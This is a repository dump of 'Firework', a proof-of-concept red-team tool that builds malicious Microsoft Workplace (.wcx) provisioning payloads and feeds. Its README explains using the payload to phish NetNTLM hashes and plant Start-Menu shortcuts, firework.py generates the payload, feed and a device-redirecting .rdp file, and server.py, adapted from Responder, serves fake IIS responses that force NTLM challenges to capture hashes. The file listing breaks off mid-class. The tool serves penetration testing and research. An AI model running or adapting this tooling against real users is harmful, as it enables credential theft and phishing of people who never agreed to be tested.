├── README.md ├── firework.ico ├── firework.py ├── requirements.txt └── server.py /README.md: -------------------------------------------------------------------------------- 1 | :warning: *NOTE: This tool is no longer under active maintenance.* 2 | 3 | 4 | # Firework 5 | 6 | ![alt text](https://img.shields.io/badge/Python-2.7_only-blue.svg "Python 2.7 only") 7 | 8 | Firework is a proof of concept tool to interact with Microsoft Workplaces creating valid files required for the provisioning process. The tool also wraps some code from Responder to leverage its ability to capture NetNTLM hashes from a system that provisions a Workplace feed via it. 9 | 10 | This tool may be used as part of a penetration test or red team exercise to create a .wcx payload (and associated feed) that if clicked on could be used to: 11 | 12 | * Phish for credentials - NetNTLM hashes will be sent if a user enters their credentials (or on older versions of Windows automatically). 13 | * Add items to the Start-Menu - After set-up shortcuts are added to the Start-Menu which launch the served RDP file(s). These entries could potentially be used as part of a wider social engineering campaign. 14 | * Download resources - Resources such as the .rdp files and icon files are downloaded and updated by Windows on a daily basis (if authentication of the feed is disabled or is satisfied). 15 | 16 | Read the SpiderLabs blog for a more detailed summary and walk through. 17 | 18 | ## Installation 19 | 20 | * Tested with Python 2.7.x. (Python3 not currently supported, although the main Firework class could be used in Python 3) 21 | 22 | ```bash 23 | $ pip install -r requirements.txt 24 | ``` 25 | * The tool serves content over HTTPS and requires a certificate and private key to use in-built web server with NetNTLM capture. Default files: ***cert.crt*** and ***key.pem*** 26 | 27 | ## Usage 28 | 29 | ``` 30 | 31 | .-:::::'::::::::::.. .,::::::.:: . .::: ... :::::::.. ::: . 32 | ;;;'''' ;;;;;;;``;;;; ;;;;''''';;, ;; ;;;'.;;;;;;;. ;;;;``;;;; ;;; .;;,. 33 | [[[,,== [[[ [[[,/[[[' [[cccc '[[, [[, [[',[[ \[[,[[[,/[[[' [[[[[/' 34 | `$$$"`` $$$ $$$$$$c $$"""" Y$c$$$c$P $$$, $$$$$$$$$c _$$$$, 35 | 888 888 888b "88bo,888oo,__ "88"888 "888,_ _,88P888b "88bo,"888"88o, 36 | "MM, MMM MMMM "W" """"YUMMM "M "M" "YMMMMMP" MMMM "W" MMM "MMP" 37 | 38 | 39 | usage: firework.py [-h] -c COMPANY -u URL -a APP -e EXT -i ICON [-l LISTEN] 40 | [-r RDP] [-d DOMAIN] [-n USERNAME] [-p PASSWORDHASH] 41 | [-t CERT] [-k KEY] 42 | 43 | WCX workplace tool 44 | 45 | optional arguments: 46 | -h, --help show this help message and exit 47 | -c COMPANY, --company COMPANY 48 | Company name 49 | -u URL, --url URL Feed URL 50 | -a APP, --app APP App Name 51 | -e EXT, --ext EXT App Extension 52 | -i ICON, --icon ICON App Icon 53 | -l LISTEN, --listen LISTEN 54 | TLS Web Server Port 55 | -r RDP, --rdp RDP RDP Server 56 | -d DOMAIN, --domain DOMAIN 57 | RDP Domain 58 | -n USERNAME, --username USERNAME 59 | RDP Username 60 | -p PASSWORD, --password PASSWORD 61 | RDP Password 62 | -t CERT, --cert CERT SSL cert 63 | -k KEY, --key KEY SSL key 64 | 65 | ``` 66 | 67 | ## Examples 68 | 69 | Basic example: 70 | 71 | * Organisation Name: EvilCorp 72 | * URL to feed XML (or URL to Firework's in-built server): https://example.org/ - This is where Windows downloads the feed from. 73 | * Application Name: Firework 74 | * File Extension: .fwk 75 | * Icon File: firework.ico 76 | 77 | ```bash 78 | python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico 79 | ``` 80 | 81 | In built web server will start on port 443 if **cert.crt** and **key.pem** are present in current directory. This will force an NTLM challenge with responder. If these files are not present the tool will write all files to local directory for your own hosting. 82 | 83 | If you wish to start the in-built web server on alternate port use the -l flag as below: 84 | 85 | ```bash 86 | python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -l 8443 87 | ``` 88 | 89 | You can also add some customisations to the .rdp file that gets served. 90 | 91 | * Remote Desktop Server: dc.corp.local 92 | * Domain: corp.local 93 | * Username: admin 94 | * Password Crypt: Encrypted password that gets included in RDP file 95 | 96 | Note: Passwords stored in .rdp files are likely ignored in a default config. 97 | 98 | ```bash 99 | python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -r dc.corp.local -d corp.local -n admin -p 100 | ``` 101 | 102 | ## Payload 103 | 104 | Having run the tool 'payload.wcx' will be written to current directory. This file is what when clicked on starts the provisioning process. 105 | 106 | ## Authors 107 | * **David Middlehurst** - Twitter- [@dtmsecurity](https://twitter.com/dtmsecurity) 108 | 109 | ## License 110 | 111 | Firework 112 | 113 | Created by David Middlehurst 114 | Copyright (C) 2018 Trustwave Holdings, Inc. 115 | 116 | This program is free software: you can redistribute it and/or modify 117 | it under the terms of the GNU General Public License as published by 118 | the Free Software Foundation, either version 3 of the License, or 119 | (at your option) any later version. 120 | 121 | This program is distributed in the hope that it will be useful, 122 | but WITHOUT ANY WARRANTY; without even the implied warranty of 123 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 124 | GNU General Public License for more details. 125 | 126 | ## Acknowledgments 127 | 128 | * [Responder by Laurent Gaffie](https://github.com/SpiderLabs/Responder) 129 | * [Firework Icon](https://icons8.com/icon/39296/firework-filled) 130 | -------------------------------------------------------------------------------- /firework.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SpiderLabs/Firework/25e61db5cbdceed8f5bbd5e409630704cd317e02/firework.ico -------------------------------------------------------------------------------- /firework.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Firework - Weaponising Microsoft Workplace (Remote App) provisioning 3 | # David Middlehurst @dtmsecurity, SpiderLabs - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | 19 | import base64 20 | from colorama import Fore, Back, Style 21 | import uuid 22 | from server import * 23 | import os 24 | import argparse 25 | 26 | def banner(): 27 | banner = "Li06Ojo6Oic6Ojo6Ojo6Ojo6Li4gIC4sOjo6Ojo6Ljo6ICAgIC4gICAuOjo6ICAuLi4gICAgOjo6Ojo6Oi4uICAgIDo6OiAgLiAgIAo7OzsnJycnIDs7Ozs7OztgYDs7OzsgOzs7OycnJycnOzssICA7OyAgOzs7Jy47Ozs7Ozs7LiA7Ozs7YGA7Ozs7ICAgOzs7IC47OywuCltbWywsPT0gW1tbIFtbWywvW1tbJyAgW1tjY2NjICAnW1ssIFtbLCBbWycsW1sgICAgIFxbWyxbW1ssL1tbWycgICBbW1tbWy8nICAKYCQkJCJgYCAkJCQgJCQkJCQkYyAgICAkJCIiIiIgICAgWSRjJCQkYyRQICQkJCwgICAgICQkJCQkJCQkJGMgICAgXyQkJCQsICAgIAogODg4ICAgIDg4OCA4ODhiICI4OGJvLDg4OG9vLF9fICAgIjg4Ijg4OCAgIjg4OCxfIF8sODhQODg4YiAiODhibywiODg4Ijg4bywgCiAiTU0sICAgTU1NIE1NTU0gICAiVyIgIiIiIllVTU1NICAgIk0gIk0iICAgICJZTU1NTU1QIiBNTU1NICAgIlciICBNTU0gIk1NUCIK" 28 | print("") 29 | print(Fore.GREEN + base64.b64decode(banner).decode('utf8')) 30 | print(Style.RESET_ALL) 31 | 32 | 33 | class Firework: 34 | def __init__(self): 35 | self.hostedFiles = dict() 36 | self.company = "Secure App" 37 | self.feedUrl = "https://example.org/" 38 | self.wcx = "" 39 | self.apps = [] 40 | self.feed = "" 41 | self.domain = "domain" 42 | self.username = "administrator" 43 | self.password = "01000000D08C9DDF0115D1118C7A00C04FC297EB010000000DB88E9C2974C24FA234CC2EC7D4E8BE00000000080000007000730077000000106600000001000020000000CBCD31921BDC991973C2127EED86EF467994D90311A8158C413147C5550DE9A8000000000E8000000002000020000000F8E18317CEC0F970F3531BD913CAB91BFFCD9BD3D8DFC26999EA21AA46D20CDD2000000047A7E071B141B3973667E70696E2A203D3400E54C88C9A866E4BE4D44C1B5D49400000007BC7BC835F2B6C2318D6662C63FE9955D1B282CBF4B84591258E1A5B4C199306F999D492226222F1A4B63ABFAA20C7877C8B2850BC9E88C14A6297D5C4C67EC9" 44 | self.server = "192.168.1.1" 45 | self.rdp = "" 46 | 47 | def generateWcx(self): 48 | self.wcx = "\n" 49 | self.wcx += "\n" % (self.company) 50 | self.wcx += "\n" % (self.feedUrl) 51 | self.wcx += "\n" 52 | 53 | def addApp(self,appName,executableName,fileExtension,iconFile): 54 | appGuid = str(uuid.uuid4()) 55 | 56 | iconPath = "/%s.ico" % (appGuid) 57 | 58 | fh = open(iconFile,"rb") 59 | self.hostedFiles[iconPath] = base64.b64encode(fh.read()) 60 | fh.close() 61 | 62 | rdpPath = "/%s.rdp" % (appGuid) 63 | rdpContent = self.rdp 64 | self.hostedFiles[rdpPath] = rdpContent 65 | 66 | newApp = "\n" % (appGuid,appName,appName,executableName) 67 | newApp += "\n\n\n" % (iconPath) 68 | newApp += "\n" 69 | newApp += "\n" % (fileExtension) 70 | newApp += "\n" 71 | newApp += "\n" 72 | newApp += "\n" 73 | newApp += "\n" % (rdpPath) 74 | newApp += "\n" 75 | newApp += "\n" 76 | newApp += "\n" 77 | newApp += "\n" 78 | self.apps.append(newApp) 79 | 80 | def generateFeed(self): 81 | self.feed = "\n" 82 | self.feed += "\n" 83 | self.feed += "\n" % (self.company) 84 | self.feed += "\n" 85 | for app in self.apps: 86 | self.feed += app 87 | self.feed += "\n" 88 | self.feed += "\n" 89 | self.feed += "\n" 90 | self.feed += "\n" 91 | self.feed += "\n\n" 92 | self.hostedFiles["/"] = self.feed 93 | 94 | def generateRdp(self): 95 | self.rdp += "screen mode id:i:2\r\n" 96 | self.rdp += "use multimon:i:1\r\n" 97 | self.rdp += "desktopwidth:i:800\r\n" 98 | self.rdp += "desktopheight:i:600\r\n" 99 | self.rdp += "session bpp:i:32\r\n" 100 | self.rdp += "winposstr:s:0,3,0,0,800,600\r\n" 101 | self.rdp += "compression:i:1\r\n" 102 | self.rdp += "keyboardhook:i:2\r\n" 103 | self.rdp += "audiocapturemode:i:0\r\n" 104 | self.rdp += "videoplaybackmode:i:1\r\n" 105 | self.rdp += "connection type:i:7\r\n" 106 | self.rdp += "networkautodetect:i:1\r\n" 107 | self.rdp += "bandwidthautodetect:i:1\r\n" 108 | self.rdp += "displayconnectionbar:i:1\r\n" 109 | self.rdp += "domain:s:%s\r\n" % (self.domain) 110 | self.rdp += "username:s:%s\r\n" % (self.username) 111 | self.rdp += "password 51:b:%s\r\n" % (self.password) 112 | self.rdp += "enableworkspacereconnect:i:0\r\n" 113 | self.rdp += "disable wallpaper:i:0\r\n" 114 | self.rdp += "allow font smoothing:i:0\r\n" 115 | self.rdp += "allow desktop composition:i:0\r\n" 116 | self.rdp += "disable full window drag:i:1\r\n" 117 | self.rdp += "disable menu anims:i:1\r\n" 118 | self.rdp += "disable themes:i:0\r\n" 119 | self.rdp += "disable cursor setting:i:0\r\n" 120 | self.rdp += "bitmapcachepersistenable:i:1\r\n" 121 | self.rdp += "full address:s:%s\r\n" % (self.server) 122 | self.rdp += "audiomode:i:0\r\n" 123 | self.rdp += "redirectprinters:i:1\r\n" 124 | self.rdp += "redirectcomports:i:1\r\n" 125 | self.rdp += "redirectsmartcards:i:1\r\n" 126 | self.rdp += "redirectclipboard:i:1\r\n" 127 | self.rdp += "redirectposdevices:i:0\r\n" 128 | self.rdp += "camerastoredirect:s:*\r\n" 129 | self.rdp += "devicestoredirect:s:*\r\n" 130 | self.rdp += "drivestoredirect:s:*\r\n" 131 | self.rdp += "autoreconnection enabled:i:1\r\n" 132 | self.rdp += "authentication level:i:1\r\n" 133 | self.rdp += "prompt for credentials:i:0\r\n" 134 | self.rdp += "prompt for credentials on client:i:0\r\n" 135 | self.rdp += "negotiate security layer:i:1\r\n" 136 | self.rdp += "remoteapplicationmode:i:0\r\n" 137 | self.rdp += "alternate shell:s:\r\n" 138 | self.rdp += "shell working directory:s:\r\n" 139 | self.rdp += "gatewayhostname:s:\r\n" 140 | self.rdp += "gatewayusagemethod:i:4\r\n" 141 | self.rdp += "gatewaycredentialssource:i:4\r\n" 142 | self.rdp += "gatewayprofileusagemethod:i:0\r\n" 143 | self.rdp += "promptcredentialonce:i:1\r\n" 144 | self.rdp += "gatewaybrokeringtype:i:0\r\n" 145 | self.rdp += "use redirection server name:i:0\r\n" 146 | self.rdp += "rdgiskdcproxy:i:0\r\n" 147 | self.rdp += "kdcproxyname:s:\r\n" 148 | 149 | def main(): 150 | banner() 151 | 152 | parser = argparse.ArgumentParser(description='WCX workplace tool') 153 | parser.add_argument('-c','--company', help='Company name', required=True) 154 | parser.add_argument('-u','--url', help='Feed URL', required=True) 155 | parser.add_argument('-a','--app', help='App Name', required=True) 156 | parser.add_argument('-e','--ext', help='App Extension', required=True) 157 | parser.add_argument('-i','--icon', help='App Icon', required=True) 158 | parser.add_argument('-l','--listen', help='TLS Web Server Port') 159 | parser.add_argument('-r','--rdp', help='RDP Server') 160 | parser.add_argument('-d','--domain', help='RDP Domain') 161 | parser.add_argument('-n','--username', help='RDP Username') 162 | parser.add_argument('-p','--password', help='RDP Password') 163 | parser.add_argument('-t','--cert', help='SSL cert') 164 | parser.add_argument('-k','--key', help='SSL key') 165 | args = parser.parse_args() 166 | 167 | f = Firework() 168 | 169 | if args.company is not None: 170 | f.company = str(args.company) 171 | if args.url is not None: 172 | f.feedUrl = str(args.url) 173 | if args.rdp is not None: 174 | f.server = str(args.rdp) 175 | if args.domain is not None: 176 | f.domain = str(args.domain) 177 | if args.username is not None: 178 | f.username = str(args.username) 179 | if args.password is not None: 180 | f.password = str(args.password) 181 | 182 | f.generateWcx() 183 | 184 | fh = open("payload.wcx","w") 185 | fh.write(f.wcx) 186 | fh.close() 187 | print(Fore.GREEN + "Written: " + Style.RESET_ALL + "payload.wcx") 188 | 189 | f.generateRdp() 190 | 191 | 192 | f.addApp(str(args.app),"%s.exe" % str(args.app), str(args.ext), str(args.icon)) 193 | #f.addApp("Word","word.exe",".doc","./excel.ico") 194 | f.generateFeed() 195 | 196 | fh = open("feed.xml","w") 197 | fh.write(f.feed) 198 | fh.close() 199 | 200 | print(Fore.GREEN + "Written: " + Style.RESET_ALL + "feed.xml") 201 | 202 | hosted = f.hostedFiles 203 | 204 | if args.listen is not None: 205 | port = int(args.listen) 206 | else: 207 | port = 443 208 | 209 | cert = "cert.crt" 210 | key = "key.pem" 211 | 212 | if args.cert is not None: 213 | cert = str(args.cert) 214 | if args.key is not None: 215 | key = str(args.key) 216 | 217 | if os.path.isfile(cert) and os.path.isfile(key): 218 | print(Fore.GREEN + "Starting server: " + Style.RESET_ALL + "https://0.0.0.0/") 219 | serve_thread_SSL('', port, HTTPS, hosted, cert, key, ) 220 | else: 221 | print(Fore.RED + "Failed to start server: " + Style.RESET_ALL + ("'%s' and '%s' not present - Writing resources to disk instead" % (cert,key))) 222 | for file in hosted: 223 | if file != "/": 224 | print(Fore.GREEN + "Written: " + Style.RESET_ALL + file) 225 | fh = open(os.path.join(os.getcwd(),".%s" % file),"w") 226 | fh.write(hosted[file]) 227 | fh.close() 228 | 229 | if __name__ == '__main__': 230 | main() 231 | 232 | 233 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama==0.3.9 2 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is mainly cobblled together from Responder (https://github.com/SpiderLabs/Responder) 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | from SocketServer import BaseRequestHandler, StreamRequestHandler, TCPServer, UDPServer, ThreadingMixIn 19 | import struct 20 | from threading import Thread 21 | import optparse 22 | import ssl 23 | import struct 24 | from base64 import b64decode, b64encode 25 | from UserDict import DictMixin 26 | import time 27 | import socket 28 | import re 29 | import os 30 | 31 | hostedFiles = dict() 32 | 33 | class OrderedDict(dict, DictMixin): 34 | 35 | def __init__(self, *args, **kwds): 36 | if len(args) > 1: 37 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 38 | try: 39 | self.__end 40 | except AttributeError: 41 | self.clear() 42 | self.update(*args, **kwds) 43 | 44 | def clear(self): 45 | self.__end = end = [] 46 | end += [None, end, end] 47 | self.__map = {} 48 | dict.clear(self) 49 | 50 | def __setitem__(self, key, value): 51 | if key not in self: 52 | end = self.__end 53 | curr = end[1] 54 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 55 | dict.__setitem__(self, key, value) 56 | 57 | def __delitem__(self, key): 58 | dict.__delitem__(self, key) 59 | key, prev, next = self.__map.pop(key) 60 | prev[2] = next 61 | next[1] = prev 62 | 63 | def __iter__(self): 64 | end = self.__end 65 | curr = end[2] 66 | while curr is not end: 67 | yield curr[0] 68 | curr = curr[2] 69 | 70 | def __reversed__(self): 71 | end = self.__end 72 | curr = end[1] 73 | while curr is not end: 74 | yield curr[0] 75 | curr = curr[1] 76 | 77 | def popitem(self, last=True): 78 | if not self: 79 | raise KeyError('dictionary is empty') 80 | if last: 81 | key = reversed(self).next() 82 | else: 83 | key = iter(self).next() 84 | value = self.pop(key) 85 | return key, value 86 | 87 | def __reduce__(self): 88 | items = [[k, self[k]] for k in self] 89 | tmp = self.__map, self.__end 90 | del self.__map, self.__end 91 | inst_dict = vars(self).copy() 92 | self.__map, self.__end = tmp 93 | if inst_dict: 94 | return self.__class__, (items,), inst_dict 95 | return self.__class__, (items,) 96 | 97 | def keys(self): 98 | return list(self) 99 | 100 | setdefault = DictMixin.setdefault 101 | update = DictMixin.update 102 | pop = DictMixin.pop 103 | values = DictMixin.values 104 | items = DictMixin.items 105 | iterkeys = DictMixin.iterkeys 106 | itervalues = DictMixin.itervalues 107 | iteritems = DictMixin.iteritems 108 | 109 | def __repr__(self): 110 | if not self: 111 | return '%s()' % (self.__class__.__name__,) 112 | return '%s(%r)' % (self.__class__.__name__, self.items()) 113 | 114 | def copy(self): 115 | return self.__class__(self) 116 | 117 | @classmethod 118 | def fromkeys(cls, iterable, value=None): 119 | d = cls() 120 | for key in iterable: 121 | d[key] = value 122 | return d 123 | 124 | def __eq__(self, other): 125 | if isinstance(other, OrderedDict): 126 | return len(self)==len(other) and \ 127 | min(p==q for p, q in zip(self.items(), other.items())) 128 | return dict.__eq__(self, other) 129 | 130 | def __ne__(self, other): 131 | return not self == other 132 | 133 | class Packet(): 134 | fields = OrderedDict([ 135 | ("data", ""), 136 | ]) 137 | def __init__(self, **kw): 138 | self.fields = OrderedDict(self.__class__.fields) 139 | for k,v in kw.items(): 140 | if callable(v): 141 | self.fields[k] = v(self.fields[k]) 142 | else: 143 | self.fields[k] = v 144 | def __str__(self): 145 | return "".join(map(str, self.fields.values())) 146 | 147 | ##### HTTP Packets ##### 148 | class NTLM_Challenge(Packet): 149 | fields = OrderedDict([ 150 | ("Signature", "NTLMSSP"), 151 | ("SignatureNull", "\x00"), 152 | ("MessageType", "\x02\x00\x00\x00"), 153 | ("TargetNameLen", "\x06\x00"), 154 | ("TargetNameMaxLen", "\x06\x00"), 155 | ("TargetNameOffset", "\x38\x00\x00\x00"), 156 | ("NegoFlags", "\x05\x02\x89\xa2"), 157 | ("ServerChallenge", ""), 158 | ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), 159 | ("TargetInfoLen", "\x7e\x00"), 160 | ("TargetInfoMaxLen", "\x7e\x00"), 161 | ("TargetInfoOffset", "\x3e\x00\x00\x00"), 162 | ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), 163 | ("TargetNameStr", "SMB"), 164 | ("Av1", "\x02\x00"),#nbt name 165 | ("Av1Len", "\x06\x00"), 166 | ("Av1Str", "SMB"), 167 | ("Av2", "\x01\x00"),#Server name 168 | ("Av2Len", "\x14\x00"), 169 | ("Av2Str", "SMB-TOOLKIT"), 170 | ("Av3", "\x04\x00"),#Full Domain name 171 | ("Av3Len", "\x12\x00"), 172 | ("Av3Str", "smb.local"), 173 | ("Av4", "\x03\x00"),#Full machine domain name 174 | ("Av4Len", "\x28\x00"), 175 | ("Av4Str", "server2003.smb.local"), 176 | ("Av5", "\x05\x00"),#Domain Forest Name 177 | ("Av5Len", "\x12\x00"), 178 | ("Av5Str", "smb.local"), 179 | ("Av6", "\x00\x00"),#AvPairs Terminator 180 | ("Av6Len", "\x00\x00"), 181 | ]) 182 | 183 | def calculate(self): 184 | # First convert to unicode 185 | self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') 186 | self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') 187 | self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') 188 | self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') 189 | self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') 190 | self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') 191 | 192 | # Then calculate 193 | CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) 194 | CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) 195 | CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) 196 | 197 | # Target Name Offsets 198 | self.fields["TargetNameOffset"] = struct.pack("\n\n\n\nLoading\n\n\n"), 237 | ]) 238 | def calculate(self): 239 | self.fields["ActualLen"] = len(str(self.fields["Payload"])) 240 | class IIS_XML(Packet): 241 | fields = OrderedDict([ 242 | ("Code", "HTTP/1.1 200 OK\r\n"), 243 | ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), 244 | ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), 245 | ("Type", "Content-Type: text/xml\r\n"), 246 | ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), 247 | ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), 248 | ("ContentLen", "Content-Length: "), 249 | ("ActualLen", "76"), 250 | ("ConnClose", "\r\nConnection: close\r\n"), 251 | ("CRLF", "\r\n"), 252 | ("Payload", "\n\n\n\nLoading\n\n\n"), 253 | ]) 254 | def calculate(self): 255 | self.fields["ActualLen"] = len(str(self.fields["Payload"])) 256 | 257 | class IIS_ICO(Packet): 258 | fields = OrderedDict([ 259 | ("Code", "HTTP/1.1 200 OK\r\n"), 260 | ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), 261 | ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), 262 | ("Type", "Content-Type: image/x-icon\r\n"), 263 | ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), 264 | ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), 265 | ("ContentLen", "Content-Length: "), 266 | ("ActualLen", "76"), 267 | ("CRLF", "\r\n\r\n"), 268 | ("Payload", "\n\n\n\nLoading\n\n\n"), 269 | ]) 270 | def calculate(self): 271 | self.fields["ActualLen"] = len(self.fields["Payload"]) 272 | 273 | class IIS_RDP(Packet): 274 | fields = OrderedDict([ 275 | ("Code", "HTTP/1.1 200 OK\r\n"), 276 | ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), 277 | ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), 278 | ("Type", "Content-Type: application/rdp\r\n"), 279 | ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), 280 | ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), 281 | ("ContentLen", "Content-Length: "), 282 | ("ActualLen", "76"), 283 | ("CRLF", "\r\n\r\n"), 284 | ("Payload", "\n\n\n\nLoading\n\n\n"), 285 | ]) 286 | def calculate(self): 287 | self.fields["ActualLen"] = len(str(self.fields["Payload"])) 288 | 289 | 290 | 291 | class IIS_NTLM_Challenge_Ans(Packet): 292 | fields = OrderedDict([ 293 | ("Code", "HTTP/1.1 401 Unauthorized\r\n"), 294 | ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), 295 | ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), 296 | ("Type", "Content-Type: text/html\r\n"), 297 | ("WWWAuth", "WWW-Authenticate: NTLM "), 298 | ("Payload", ""), 299 | ("Payload-CRLF", "\r\n"), 300 | ("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"), 301 | ("Len", "Content-Length: 0\r\n"), 302 | ("ConnClose", "Connection: close\r\n"), 303 | ("CRLF", "\r\n"), 304 | ]) 305 | 306 | def calculate(self,payload): 307 | self.fields["Payload"] = b64encode(payload) 308 | 309 | class IIS_Basic_401_Ans(Packet): 310 | fields = OrderedDict([ 311 | ("Code", "HTTP/1.1 401 Unauthorized\r\n"), 312 | ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), 313 | ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), 314 | ("Type", "Content-Type: text/html\r\n"), 315 | ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), 316 | ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), 317 | ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), 318 | ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), 319 | ("Len", "Content-Length: 0\r\n"), 320 | ("CRLF", "\r\n"), 321 | ]) 322 | 323 | ##### Proxy mode Packets ##### 324 | class WPADScript(Packet): 325 | fields = OrderedDict([ 326 | ("Code", "HTTP/1.1 200 OK\r\n"), 327 | ("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"), 328 | ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), 329 | ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), 330 | ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), 331 | ("ContentLen", "Content-Length: "), 332 | ("ActualLen", "76"), 333 | ("CRLF", "\r\n\r\n"), 334 | ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), 335 | ]) 336 | def calculate(self): 337 | self.fields["ActualLen"] = len(str(self.fields["Payload"])) 338 | 339 | class ServeExeFile(Packet): 340 | fields = OrderedDict([ 341 | ("Code", "HTTP/1.1 200 OK\r\n"), 342 | ("ContentType", "Content-Type: application/octet-stream\r\n"), 343 | ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), 344 | ("AcceptRanges", "Accept-Ranges: bytes\r\n"), 345 | ("Server", "Server: Microsoft-IIS/7.5\r\n"), 346 | ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), 347 | ("ContentDisp", "Content-Disposition: attachment; filename="), 348 | ("ContentDiFile", ""), 349 | ("FileCRLF", ";\r\n"), 350 | ("ContentLen", "Content-Length: "), 351 | ("ActualLen", "76"), 352 | ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), 353 | ("Connection", "Connection: keep-alive\r\n"), 354 | ("X-CCC", "US\r\n"), 355 | ("X-CID", "2\r\n"), 356 | ("CRLF", "\r\n"), 357 | ("Payload", "jj"), 358 | ]) 359 | def calculate(self): 360 | self.fields["ActualLen"] = len(str(self.fields["Payload"])) 361 | 362 | class ServeHtmlFile(Packet): 363 | fields = OrderedDict([ 364 | ("Code", "HTTP/1.1 200 OK\r\n"), 365 | ("ContentType", "Content-Type: text/html\r\n"), 366 | ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), 367 | ("AcceptRanges", "Accept-Ranges: bytes\r\n"), 368 | ("Server", "Server: Microsoft-IIS/7.5\r\n"), 369 | ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), 370 | ("ContentLen", "Content-Length: "), 371 | ("ActualLen", "76"), 372 | ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), 373 | ("Connection", "Connection: keep-alive\r\n"), 374 | ("CRLF", "\r\n"), 375 | ("Payload", "jj"), 376 | ]) 377 | def calculate(self): 378 | self.fields["ActualLen"] = len(str(self.fields["Payload"])) 379 | 380 | ##### FTP Packets ##### 381 | class FTPPacket(Packet): 382 | fields = OrderedDict([ 383 | ("Code", "220"), 384 | ("Separator", "\x20"), 385 | ("Message", "Welcome"), 